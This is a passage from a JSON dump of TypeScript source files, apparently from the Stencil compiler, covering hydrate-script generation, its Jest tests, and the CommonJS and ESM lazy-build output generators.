    "content": "export const HYDRATE_APP_CLOSURE_START = `/*hydrateAppClosure start*/`;\n\nexport const MODE_RESOLUTION_CHAIN_DECLARATION = `modeResolutionChain = [];`;\n\n/**\n * This is the entry point for the hydrate factory.\n *\n * __Note:__ the `modeResolutionChain` will be uncommented in the\n * `src/compiler/output-targets/dist-hydrate-script/write-hydrate-outputs.ts` file. This enables us to use\n * one module resolution chain across hydrate and core runtime.\n */\nexport const HYDRATE_FACTORY_INTRO = `\n// const ${MODE_RESOLUTION_CHAIN_DECLARATION}\n\nexport function hydrateFactory($stencilWindow, $stencilHydrateOpts, $stencilHydrateResults, $stencilAfterHydrate, $stencilHydrateResolve) {\n  var globalThis = $stencilWindow;\n  var self = $stencilWindow;\n  var top = $stencilWindow;\n  var parent = $stencilWindow;\n\n  var addEventListener = $stencilWindow.addEventListener.bind($stencilWindow);\n  var alert = $stencilWindow.alert.bind($stencilWindow);\n  var blur = $stencilWindow.blur.bind($stencilWindow);\n  var cancelAnimationFrame = $stencilWindow.cancelAnimationFrame.bind($stencilWindow);\n  var cancelIdleCallback = $stencilWindow.cancelIdleCallback.bind($stencilWindow);\n  var clearInterval = $stencilWindow.clearInterval.bind($stencilWindow);\n  var clearTimeout = $stencilWindow.clearTimeout.bind($stencilWindow);\n  var close = () => {};\n  var confirm = $stencilWindow.confirm.bind($stencilWindow);\n  var dispatchEvent = $stencilWindow.dispatchEvent.bind($stencilWindow);\n  var focus = $stencilWindow.focus.bind($stencilWindow);\n  var getComputedStyle = $stencilWindow.getComputedStyle.bind($stencilWindow);\n  var matchMedia = $stencilWindow.matchMedia.bind($stencilWindow);\n  var open = $stencilWindow.open.bind($stencilWindow);\n  var prompt = $stencilWindow.prompt.bind($stencilWindow);\n  var removeEventListener = $stencilWindow.removeEventListener.bind($stencilWindow);\n  var requestAnimationFrame = $stencilWindow.requestAnimationFrame.bind($stencilWindow);\n  var requestIdleCallback = $stencilWindow.requestIdleCallback.bind($stencilWindow);\n  var setInterval = $stencilWindow.setInterval.bind($stencilWindow);\n  var setTimeout = $stencilWindow.setTimeout.bind($stencilWindow);\n\n  // Tag transform functions are provided from the outer scope\n  // This ensures the factory uses the same instance as the runner\n  var setTagTransformer = $stencilTagTransform.setTagTransformer;\n  var transformTag = $stencilTagTransform.transformTag;\n\n  var CharacterData = $stencilWindow.CharacterData;\n  var CSS = $stencilWindow.CSS;\n  var CustomEvent = $stencilWindow.CustomEvent;\n  var CSSStyleSheet = $stencilWindow.CSSStyleSheet;\n  var Document = $stencilWindow.Document;\n  var ShadowRoot = $stencilWindow.ShadowRoot;\n  var DocumentFragment = $stencilWindow.DocumentFragment;\n  var DocumentType = $stencilWindow.DocumentType;\n  var DOMTokenList = $stencilWindow.DOMTokenList;\n  var Element = $stencilWindow.Element;\n  var Event = $stencilWindow.Event;\n  var HTMLAnchorElement = $stencilWindow.HTMLAnchorElement;\n  var HTMLBaseElement = $stencilWindow.HTMLBaseElement;\n  var HTMLButtonElement = $stencilWindow.HTMLButtonElement;\n  var HTMLCanvasElement = $stencilWindow.HTMLCanvasElement;\n  var HTMLElement = $stencilWindow.HTMLElement;\n  var HTMLFormElement = $stencilWindow.HTMLFormElement;\n  var HTMLImageElement = $stencilWindow.HTMLImageElement;\n  var HTMLInputElement = $stencilWindow.HTMLInputElement;\n  var HTMLLinkElement = $stencilWindow.HTMLLinkElement;\n  var HTMLMetaElement = $stencilWindow.HTMLMetaElement;\n  var HTMLScriptElement = $stencilWindow.HTMLScriptElement;\n  var HTMLStyleElement = $stencilWindow.HTMLStyleElement;\n  var HTMLTemplateElement = $stencilWindow.HTMLTemplateElement;\n  var HTMLTitleElement = $stencilWindow.HTMLTitleElement;\n  var IntersectionObserver = $stencilWindow.IntersectionObserver;\n  var ResizeObserver = $stencilWindow.ResizeObserver;\n  var KeyboardEvent = $stencilWindow.KeyboardEvent;\n  var MouseEvent = $stencilWindow.MouseEvent;\n  var Node = $stencilWindow.Node;\n  var NodeList = $stencilWindow.NodeList;\n  var URL = $stencilWindow.URL;\n\n  var console = $stencilWindow.console;\n  var customElements = $stencilWindow.customElements;\n  var history = $stencilWindow.history;\n  var localStorage = $stencilWindow.localStorage;\n  var location = $stencilWindow.location;\n  var navigator = $stencilWindow.navigator;\n  var performance = $stencilWindow.performance;\n  var sessionStorage = $stencilWindow.sessionStorage;\n\n  var devicePixelRatio = $stencilWindow.devicePixelRatio;\n  var innerHeight = $stencilWindow.innerHeight;\n  var innerWidth = $stencilWindow.innerWidth;\n  var origin = $stencilWindow.origin;\n  var pageXOffset = $stencilWindow.pageXOffset;\n  var pageYOffset = $stencilWindow.pageYOffset;\n  var screen = $stencilWindow.screen;\n  var screenLeft = $stencilWindow.screenLeft;\n  var screenTop = $stencilWindow.screenTop;\n  var screenX = $stencilWindow.screenX;\n  var screenY = $stencilWindow.screenY;\n  var scrollX = $stencilWindow.scrollX;\n  var scrollY = $stencilWindow.scrollY;\n  var exports = {};\n\n  var fetch, FetchError, Headers, Request, Response;\n\n  if (typeof $stencilWindow.fetch === 'function') {\n    fetch = $stencilWindow.fetch;\n  } else {\n    fetch = $stencilWindow.fetch = function() { throw new Error('fetch() is not implemented'); };\n  }\n\n  if (typeof $stencilWindow.FetchError === 'function') {\n    FetchError = $stencilWindow.FetchError;\n  } else {\n    FetchError = $stencilWindow.FetchError = class FetchError { constructor() { throw new Error('FetchError is not implemented'); } };\n  }\n\n  if (typeof $stencilWindow.Headers === 'function') {\n    Headers = $stencilWindow.Headers;\n  } else {\n    Headers = $stencilWindow.Headers = class Headers { constructor() { throw new Error('Headers is not implemented'); } };\n  }\n\n  if (typeof $stencilWindow.Request === 'function') {\n    Request = $stencilWindow.Request;\n  } else {\n    Request = $stencilWindow.Request = class Request { constructor() { throw new Error('Request is not implemented'); } };\n  }\n\n  if (typeof $stencilWindow.Response === 'function') {\n    Response = $stencilWindow.Response;\n  } else {\n    Response = $stencilWindow.Response = class Response { constructor() { throw new Error('Response is not implemented'); } };\n  }\n\n  function hydrateAppClosure($stencilWindow) {\n    const window = $stencilWindow;\n    const document = $stencilWindow.document;\n    ${HYDRATE_APP_CLOSURE_START}\n`;\n\nexport const HYDRATE_FACTORY_OUTRO = `\n    /*hydrateAppClosure end*/\n    hydrateApp(window, $stencilHydrateOpts, $stencilHydrateResults, $stencilAfterHydrate, $stencilHydrateResolve);\n  }\n\n  hydrateAppClosure($stencilWindow);\n}\n`;\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/index.ts",
    "content": "import { isOutputTargetHydrate } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { generateHydrateApp } from './generate-hydrate-app';\n\nexport const outputHydrateScript = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n) => {\n  const hydrateOutputTargets = config.outputTargets.filter(isOutputTargetHydrate);\n  if (hydrateOutputTargets.length > 0) {\n    const timespan = buildCtx.createTimeSpan(`generate hydrate app started`);\n\n    await generateHydrateApp(config, compilerCtx, buildCtx, hydrateOutputTargets);\n\n    timespan.finish(`generate hydrate app finished`);\n  }\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/relocate-hydrate-context.ts",
    "content": "import type * as d from '../../../declarations';\nimport { getGlobalScriptData } from '../../bundle/app-data-plugin';\nimport { HYDRATE_APP_CLOSURE_START } from './hydrate-factory-closure';\n\nexport const relocateHydrateContextConst = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, code: string) => {\n  const globalScripts = getGlobalScriptData(config, compilerCtx);\n  if (globalScripts.length > 0) {\n    const startCode = code.indexOf('/*hydrate context start*/');\n    if (startCode > -1) {\n      const endCode = code.indexOf('/*hydrate context end*/') + '/*hydrate context end*/'.length;\n      const hydrateContextCode = code.substring(startCode, endCode);\n      code = code.replace(hydrateContextCode, '');\n      return code.replace(HYDRATE_APP_CLOSURE_START, HYDRATE_APP_CLOSURE_START + '\\n  ' + hydrateContextCode);\n    }\n  }\n  return code;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/test/dist-hydrate-script.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { validateHydrateScript } from '../../../config/outputs/validate-hydrate-script';\nimport * as optimizeModuleMod from '../../../optimize/optimize-module';\nimport { writeHydrateOutputs } from '../write-hydrate-outputs';\n\ndescribe('dist-hydrate-script', () => {\n  describe('minification', () => {\n    let optimizeModuleSpy: jest.SpyInstance;\n    let mockFs: any;\n\n    beforeEach(() => {\n      // Spy on optimizeModule to verify it's called with correct minify parameter\n      optimizeModuleSpy = jest.spyOn(optimizeModuleMod, 'optimizeModule');\n      optimizeModuleSpy.mockResolvedValue({\n        output: 'const minified=\"code\";',\n        diagnostics: [],\n        sourceMap: undefined,\n      });\n    });\n\n    afterEach(() => {\n      optimizeModuleSpy.mockRestore();\n    });\n\n    it('should call optimizeModule when outputTarget.minify is true', async () => {\n      const config = mockValidatedConfig();\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n\n      // Mock filesystem operations\n      mockFs = compilerCtx.fs;\n      mockFs.readFile = jest.fn().mockResolvedValue('{\"name\":\"test\"}');\n      mockFs.writeFile = jest.fn().mockResolvedValue(undefined);\n      mockFs.copyFile = jest.fn().mockResolvedValue(undefined);\n\n      const outputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        dir: path.join(config.rootDir, 'dist', 'hydrate'),\n        minify: true,\n      };\n\n      const rollupOutput = {\n        output: [\n          {\n            type: 'chunk' as const,\n            fileName: 'index.js',\n            code: 'export const test = \"unminified code\";',\n            isEntry: true,\n          },\n        ],\n      };\n\n      await writeHydrateOutputs(config, compilerCtx, buildCtx, [outputTarget], rollupOutput as any);\n\n      expect(optimizeModuleSpy).toHaveBeenCalledWith(\n        config,\n        compilerCtx,\n        expect.objectContaining({\n          minify: true,\n        }),\n      );\n    });\n\n    it('should not call optimizeModule when outputTarget.minify is false', async () => {\n      const config = mockValidatedConfig();\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n\n      // Mock filesystem operations\n      mockFs = compilerCtx.fs;\n      mockFs.readFile = jest.fn().mockResolvedValue('{\"name\":\"test\"}');\n      mockFs.writeFile = jest.fn().mockResolvedValue(undefined);\n      mockFs.copyFile = jest.fn().mockResolvedValue(undefined);\n\n      const outputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        dir: path.join(config.rootDir, 'dist', 'hydrate'),\n        minify: false,\n      };\n\n      const rollupOutput = {\n        output: [\n          {\n            type: 'chunk' as const,\n            fileName: 'index.js',\n            code: 'export const test = \"unminified code\";',\n            isEntry: true,\n          },\n        ],\n      };\n\n      await writeHydrateOutputs(config, compilerCtx, buildCtx, [outputTarget], rollupOutput as any);\n\n      expect(optimizeModuleSpy).not.toHaveBeenCalled();\n    });\n\n    it('should not call optimizeModule when outputTarget.minify is undefined', async () => {\n      const config = mockValidatedConfig();\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n\n      // Mock filesystem operations\n      mockFs = compilerCtx.fs;\n      mockFs.readFile = jest.fn().mockResolvedValue('{\"name\":\"test\"}');\n      mockFs.writeFile = jest.fn().mockResolvedValue(undefined);\n      mockFs.copyFile = jest.fn().mockResolvedValue(undefined);\n\n      const outputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        dir: path.join(config.rootDir, 'dist', 'hydrate'),\n        // minify is undefined\n      };\n\n      const rollupOutput = {\n        output: [\n          {\n            type: 'chunk' as const,\n            fileName: 'index.js',\n            code: 'export const test = \"unminified code\";',\n            isEntry: true,\n          },\n        ],\n      };\n\n      await writeHydrateOutputs(config, compilerCtx, buildCtx, [outputTarget], rollupOutput as any);\n\n      expect(optimizeModuleSpy).not.toHaveBeenCalled();\n    });\n  });\n\n  describe('generatePackageJson', () => {\n    it('should skip writing package.json when generatePackageJson is false', async () => {\n      const config = mockValidatedConfig();\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n\n      const mockFs = compilerCtx.fs;\n      mockFs.readFile = jest.fn().mockResolvedValue('{\"name\":\"test\"}');\n      mockFs.writeFile = jest.fn().mockResolvedValue(undefined);\n      mockFs.copyFile = jest.fn().mockResolvedValue(undefined);\n\n      const outputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        dir: path.join(config.rootDir, 'dist', 'hydrate'),\n        generatePackageJson: false,\n      };\n\n      const rollupOutput = {\n        output: [\n          {\n            type: 'chunk' as const,\n            fileName: 'index.js',\n            code: 'export const test = \"unminified code\";',\n            isEntry: true,\n          },\n        ],\n      };\n\n      const [validatedOutputTarget] = validateHydrateScript(config, [outputTarget]);\n\n      await writeHydrateOutputs(config, compilerCtx, buildCtx, [validatedOutputTarget], rollupOutput as any);\n\n      expect(mockFs.copyFile).toHaveBeenCalled();\n      expect(mockFs.writeFile).not.toHaveBeenCalledWith(\n        expect.stringMatching(/dist[\\\\/]+hydrate[\\\\/]+package\\.json$/),\n        expect.any(String),\n      );\n    });\n\n    it('should write package.json by default after validation', async () => {\n      const config = mockValidatedConfig();\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n\n      const mockFs = compilerCtx.fs;\n      mockFs.readFile = jest.fn().mockResolvedValue('{\"name\":\"test\"}');\n      mockFs.writeFile = jest.fn().mockResolvedValue(undefined);\n      mockFs.copyFile = jest.fn().mockResolvedValue(undefined);\n\n      const outputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        dir: path.join(config.rootDir, 'dist', 'hydrate'),\n        // generatePackageJson is undefined, should default to true after validation\n      };\n\n      const rollupOutput = {\n        output: [\n          {\n            type: 'chunk' as const,\n            fileName: 'index.js',\n            code: 'export const test = \"unminified code\";',\n            isEntry: true,\n          },\n        ],\n      };\n\n      const [validatedOutputTarget] = validateHydrateScript(config, [outputTarget]);\n\n      await writeHydrateOutputs(config, compilerCtx, buildCtx, [validatedOutputTarget], rollupOutput as any);\n\n      expect(mockFs.copyFile).toHaveBeenCalled();\n      expect(mockFs.writeFile).toHaveBeenCalledWith(\n        expect.stringMatching(/dist[\\\\/]+hydrate[\\\\/]+package\\.json$/),\n        expect.stringContaining('\"name\"'),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/update-to-hydrate-components.ts",
    "content": "import { dashToPascalCase, sortBy, toTitleCase } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const updateToHydrateComponents = async (cmps: d.ComponentCompilerMeta[]) => {\n  const hydrateCmps = await Promise.all(cmps.map(updateToHydrateComponent));\n  return sortBy(hydrateCmps, (c) => c.cmp.componentClassName);\n};\n\nconst updateToHydrateComponent = async (cmp: d.ComponentCompilerMeta) => {\n  const cmpData: d.ComponentCompilerData = {\n    filePath: cmp.sourceFilePath,\n    exportLine: ``,\n    cmp: cmp,\n    uniqueComponentClassName: ``,\n    importLine: ``,\n  };\n\n  const pascalCasedClassName = dashToPascalCase(toTitleCase(cmp.tagName));\n\n  if (cmp.componentClassName !== pascalCasedClassName) {\n    cmpData.uniqueComponentClassName = pascalCasedClassName;\n    cmpData.importLine = `import { ${cmp.componentClassName} as ${cmpData.uniqueComponentClassName} } from '${cmpData.filePath}';`;\n  } else {\n    cmpData.uniqueComponentClassName = cmp.componentClassName;\n    cmpData.importLine = `import { ${cmpData.uniqueComponentClassName} } from '${cmpData.filePath}';`;\n  }\n\n  return cmpData;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/write-hydrate-outputs.ts",
    "content": "import { hasError, join } from '@utils';\nimport { basename } from 'path';\nimport type { RollupOutput } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport { optimizeModule } from '../../optimize/optimize-module';\nimport { MODE_RESOLUTION_CHAIN_DECLARATION } from './hydrate-factory-closure';\nimport { relocateHydrateContextConst } from './relocate-hydrate-context';\n\nexport const writeHydrateOutputs = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTargets: d.OutputTargetHydrate[],\n  rollupOutput: RollupOutput,\n) => {\n  return Promise.all(\n    outputTargets.map((outputTarget) => {\n      return writeHydrateOutput(config, compilerCtx, buildCtx, outputTarget, rollupOutput);\n    }),\n  );\n};\n\nconst writeHydrateOutput = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetHydrate,\n  rollupOutput: RollupOutput,\n) => {\n  const hydratePackageName = await getHydratePackageName(config, compilerCtx);\n\n  const hydrateAppDirPath = outputTarget.dir;\n  if (!hydrateAppDirPath) {\n    throw new Error(`outputTarget config missing the \"dir\" property`);\n  }\n\n  const hydrateCoreIndexPath = join(hydrateAppDirPath, 'index.js');\n  const hydrateCoreIndexPathESM = join(hydrateAppDirPath, 'index.mjs');\n  const hydrateCoreIndexDtsFilePath = join(hydrateAppDirPath, 'index.d.ts');\n\n  const writeOperations: Promise<unknown>[] = [copyHydrateRunnerDts(config, compilerCtx, hydrateAppDirPath)];\n\n  if (outputTarget.generatePackageJson) {\n    const pkgJsonPath = join(hydrateAppDirPath, 'package.json');\n    const pkgJsonCode = getHydratePackageJson(\n      config,\n      hydrateCoreIndexPath,\n      hydrateCoreIndexPathESM,\n      hydrateCoreIndexDtsFilePath,\n      hydratePackageName,\n    );\n\n    writeOperations.push(compilerCtx.fs.writeFile(pkgJsonPath, pkgJsonCode));\n  }\n\n  await Promise.all(writeOperations);\n\n  // always remember a path to the hydrate app that the prerendering may need later on\n  buildCtx.hydrateAppFilePath = hydrateCoreIndexPath;\n  const minify = outputTarget.minify === true;\n\n  await Promise.all(\n    rollupOutput.output.map(async (output) => {\n      if (output.type === 'chunk') {\n        let code = relocateHydrateContextConst(config, compilerCtx, output.code);\n\n        /**\n         * Enable the line where we define `modeResolutionChain` for the hydrate module.\n         */\n        code = code.replace(\n          `// const ${MODE_RESOLUTION_CHAIN_DECLARATION}`,\n          `const ${MODE_RESOLUTION_CHAIN_DECLARATION}`,\n        );\n\n        /**\n         * Inject the $stencilTagTransform variable definition.\n         * This variable is referenced by the factory closure (HYDRATE_FACTORY_INTRO)\n         * and must be defined at module scope to be accessible within the factory.\n         * We inject it after the tag transform functions are defined/exported.\n         */\n        const tagTransformFunctionPattern = /function (setTagTransformer|transformTag)\\(/;\n        const match = code.match(tagTransformFunctionPattern);\n        if (match) {\n          // Find where setTagTransformer and transformTag functions are defined\n          // and inject the $stencilTagTransform variable after them\n          const injectCode = `\\n// Tag transform state object for factory closure\\nvar $stencilTagTransform = { setTagTransformer: setTagTransformer, transformTag: transformTag };\\n`;\n\n          // Find the last occurrence of tag transform function definitions\n          const lastTransformTagIndex = code.lastIndexOf('function transformTag(');\n          const lastSetTagTransformerIndex = code.lastIndexOf('function setTagTransformer(');\n          const injectionPoint = Math.max(lastTransformTagIndex, lastSetTagTransformerIndex);\n\n          if (injectionPoint !== -1) {\n            // Find the end of that function (closing brace)\n            let braceCount = 0;\n            let foundStart = false;\n            let injectionIndex = injectionPoint;\n\n            for (let i = injectionPoint; i < code.length; i++) {\n              if (code[i] === '{') {\n                foundStart = true;\n                braceCount++;\n              } else if (code[i] === '}') {\n                braceCount--;\n                if (foundStart && braceCount === 0) {\n                  injectionIndex = i + 1;\n                  break;\n                }\n              }\n            }\n\n            code = code.slice(0, injectionIndex) + injectCode + code.slice(injectionIndex);\n          }\n        }\n\n        if (minify) {\n          const optimizeResults = await optimizeModule(config, compilerCtx, {\n            input: code,\n            isCore: output.isEntry,\n            minify,\n          });\n\n          buildCtx.diagnostics.push(...optimizeResults.diagnostics);\n          if (!hasError(optimizeResults.diagnostics) && typeof optimizeResults.output === 'string') {\n            code = optimizeResults.output;\n          }\n        }\n\n        const filePath = join(hydrateAppDirPath, output.fileName);\n        await compilerCtx.fs.writeFile(filePath, code, { immediateWrite: true });\n      }\n    }),\n  );\n};\n\nconst getHydratePackageJson = (\n  config: d.ValidatedConfig,\n  hydrateAppFilePathCJS: string,\n  hydrateAppFilePathESM: string,\n  hydrateDtsFilePath: string,\n  hydratePackageName: string,\n) => {\n  const pkg: d.PackageJsonData = {\n    name: hydratePackageName,\n    description: `${config.namespace} component hydration app.`,\n    main: basename(hydrateAppFilePathCJS),\n    types: basename(hydrateDtsFilePath),\n    exports: {\n      '.': {\n        require: `./${basename(hydrateAppFilePathCJS)}`,\n        import: `./${basename(hydrateAppFilePathESM)}`,\n      },\n    },\n  };\n  return JSON.stringify(pkg, null, 2);\n};\n\nconst getHydratePackageName = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => {\n  const directoryName = basename(config.rootDir);\n  try {\n    const rootPkgFilePath = join(config.rootDir, 'package.json');\n    const pkgStr = await compilerCtx.fs.readFile(rootPkgFilePath);\n    const pkgData = JSON.parse(pkgStr) as d.PackageJsonData;\n    const scope = pkgData.name || directoryName;\n    return `${scope}/hydrate`;\n  } catch (e) {}\n\n  return `${config.fsNamespace || directoryName}/hydrate`;\n};\n\nconst copyHydrateRunnerDts = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  hydrateAppDirPath: string,\n) => {\n  const packageDir = join(config.sys.getCompilerExecutingPath(), '..', '..');\n  const srcHydrateDir = join(packageDir, 'internal', 'hydrate', 'runner.d.ts');\n\n  const runnerDtsDestPath = join(hydrateAppDirPath, 'index.d.ts');\n\n  await compilerCtx.fs.copyFile(srcHydrateDir, runnerDtsDestPath);\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/generate-cjs.ts",
    "content": "import { generatePreamble, join, relativeImport } from '@utils';\nimport type { OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport { generateRollupOutput } from '../../app-core/bundle-app-core';\nimport { generateLazyModules } from './generate-lazy-module';\nimport { lazyBundleIdPlugin } from './lazy-bundleid-plugin';\n\nexport const generateCjs = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupBuild: RollupBuild,\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<d.UpdatedLazyBuildCtx> => {\n  const cjsOutputs = outputTargets.filter((o) => !!o.cjsDir);\n\n  if (cjsOutputs.length > 0) {\n    const outputTargetType = cjsOutputs[0].type;\n    const esmOpts: OutputOptions = {\n      banner: generatePreamble(config),\n      format: 'cjs',\n      entryFileNames: '[name].cjs.js',\n      assetFileNames: '[name]-[hash][extname]',\n      sourcemap: config.sourceMap,\n      plugins: [lazyBundleIdPlugin(buildCtx, config, false, '.cjs')],\n    };\n\n    if (!!config.extras.experimentalImportInjection || !!config.extras.enableImportInjection) {\n      esmOpts.interop = 'auto';\n      esmOpts.dynamicImportInCjs = false;\n    }\n\n    const results = await generateRollupOutput(rollupBuild, esmOpts, config, buildCtx.entryModules);\n    if (results != null) {\n      const destinations = cjsOutputs\n        .map((o) => o.cjsDir)\n        .filter((cjsDir): cjsDir is string => typeof cjsDir === 'string');\n\n      buildCtx.commonJsComponentBundle = await generateLazyModules(\n        config,\n        compilerCtx,\n        buildCtx,\n        outputTargetType,\n        destinations,\n        results,\n        'es2017',\n        false,\n      );\n\n      await generateShortcuts(compilerCtx, results, cjsOutputs);\n    }\n  }\n\n  return { name: 'cjs', buildCtx };\n};\n\nconst generateShortcuts = (\n  compilerCtx: d.CompilerCtx,\n  rollupResult: d.RollupResult[],\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<void[]> => {\n  const indexFilename = rollupResult.find((r) => r.type === 'chunk' && r.isIndex).fileName;\n  return Promise.all(\n    outputTargets.map(async (o) => {\n      if (o.cjsIndexFile) {\n        const entryPointPath = join(o.cjsDir, indexFilename);\n        const relativePath = relativeImport(o.cjsIndexFile, entryPointPath);\n        const shortcutContent = `module.exports = require('${relativePath}');\\n`;\n        await compilerCtx.fs.writeFile(o.cjsIndexFile, shortcutContent, { outputTargetType: o.type });\n      }\n    }),\n  );\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/generate-esm-browser.ts",
    "content": "import { generatePreamble } from '@utils';\nimport type { OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport { generateRollupOutput } from '../../app-core/bundle-app-core';\nimport { generateLazyModules } from './generate-lazy-module';\nimport { lazyBundleIdPlugin } from './lazy-bundleid-plugin';\n\nexport const generateEsmBrowser = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupBuild: RollupBuild,\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<d.UpdatedLazyBuildCtx> => {\n  const esmOutputs = outputTargets.filter((o) => !!o.esmDir && !!o.isBrowserBuild);\n  if (esmOutputs.length) {\n    const outputTargetType = esmOutputs[0].type;\n    const esmOpts: OutputOptions = {\n      banner: generatePreamble(config),\n      format: 'es',\n      entryFileNames: '[name].esm.js',\n      chunkFileNames: config.hashFileNames ? 'p-[hash].js' : '[name]-[hash].js',\n      assetFileNames: config.hashFileNames ? 'p-[hash][extname]' : '[name]-[hash][extname]',\n      sourcemap: config.sourceMap,\n      plugins: [lazyBundleIdPlugin(buildCtx, config, config.hashFileNames, '', true)],\n    };\n\n    const output = await generateRollupOutput(rollupBuild, esmOpts, config, buildCtx.entryModules);\n\n    if (output != null) {\n      const es2017destinations = esmOutputs\n        .map((o) => o.esmDir)\n        .filter((esmDir): esmDir is string => typeof esmDir === 'string');\n      buildCtx.esmBrowserComponentBundle = await generateLazyModules(\n        config,\n        compilerCtx,\n        buildCtx,\n        outputTargetType,\n        es2017destinations,\n        output,\n        'es2017',\n        true,\n      );\n    }\n  }\n\n  return { name: 'esm-browser', buildCtx };\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/generate-esm.ts",
    "content": "import { generatePreamble, join, relativeImport } from '@utils';\nimport type { OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport type { RollupResult } from '../../../declarations';\nimport { generateRollupOutput } from '../../app-core/bundle-app-core';\nimport { generateLazyModules } from './generate-lazy-module';\nimport { lazyBundleIdPlugin } from './lazy-bundleid-plugin';\n\nexport const generateEsm = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupBuild: RollupBuild,\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<d.UpdatedLazyBuildCtx> => {\n  const esmEs5Outputs = config.buildEs5 ? outputTargets.filter((o) => !!o.esmEs5Dir && !o.isBrowserBuild) : [];\n  const esmOutputs = outputTargets.filter((o) => !!o.esmDir && !o.isBrowserBuild);\n  if (esmOutputs.length + esmEs5Outputs.length > 0) {\n    const esmOpts: OutputOptions = {\n      banner: generatePreamble(config),\n      format: 'es',\n      entryFileNames: '[name].js',\n      assetFileNames: '[name]-[hash][extname]',\n      sourcemap: config.sourceMap,\n      plugins: [lazyBundleIdPlugin(buildCtx, config, false, '')],\n    };\n    const outputTargetType = esmOutputs[0].type;\n    const output = await generateRollupOutput(rollupBuild, esmOpts, config, buildCtx.entryModules);\n\n    if (output != null) {\n      const es2017destinations = esmOutputs\n        .map((o) => o.esmDir)\n        .filter((esmDir): esmDir is string => typeof esmDir === 'string');\n      buildCtx.esmComponentBundle = await generateLazyModules(\n        config,\n        compilerCtx,\n        buildCtx,\n        outputTargetType,\n        es2017destinations,\n        output,\n        'es2017',\n        false,\n      );\n\n      const es5destinations = esmEs5Outputs\n        .map((o) => o.esmEs5Dir)\n        .filter((esmEs5Dir): esmEs5Dir is string => typeof esmEs5Dir === 'string');\n      buildCtx.es5ComponentBundle = await generateLazyModules(\n        config,\n        compilerCtx,\n        buildCtx,\n        outputTargetType,\n        es5destinations,\n        output,\n        'es5',\n        false,\n      );\n\n      if (config.buildEs5) {\n        await copyPolyfills(config, compilerCtx, esmOutputs);\n      }\n      await generateShortcuts(config, compilerCtx, outputTargets, output);\n    }\n  }\n\n  return { name: 'esm', buildCtx };\n};\n\n/**\n * Copy polyfills from `$INSTALL_DIR/internal/client/polyfills` to the lazy\n * loader output directory where $INSTALL_DIR is the directory in which the\n * `@stencil/core` package is installed.\n *\n * @param config a validated Stencil configuration\n * @param compilerCtx the current compiler context\n * @param outputTargets dist-lazy output targets\n */\nconst copyPolyfills = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<void> => {\n  const destinations = outputTargets\n    .filter((o) => o.polyfills)\n    .map((o) => o.esmDir)\n    .filter((esmDir): esmDir is string => typeof esmDir === 'string');\n  if (destinations.length === 0) {\n    return;\n  }\n\n  const src = join(config.sys.getCompilerExecutingPath(), '..', '..', 'internal', 'client', 'polyfills');\n  const files = await compilerCtx.fs.readdir(src);\n\n  await Promise.all(\n    destinations.map((dest) => {\n      return Promise.all(\n        files.map((f) => {\n          return compilerCtx.fs.copyFile(f.absPath, join(dest, 'polyfills', f.relPath));\n        }),\n      );\n    }),\n  );\n};\n\nconst generateShortcuts = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  outputTargets: d.OutputTargetDistLazy[],\n  rollupResult: RollupResult[],\n): Promise<void[]> => {\n  const indexFilename = rollupResult.find((r) => r.type === 'chunk' && r.isIndex).fileName;\n\n  return 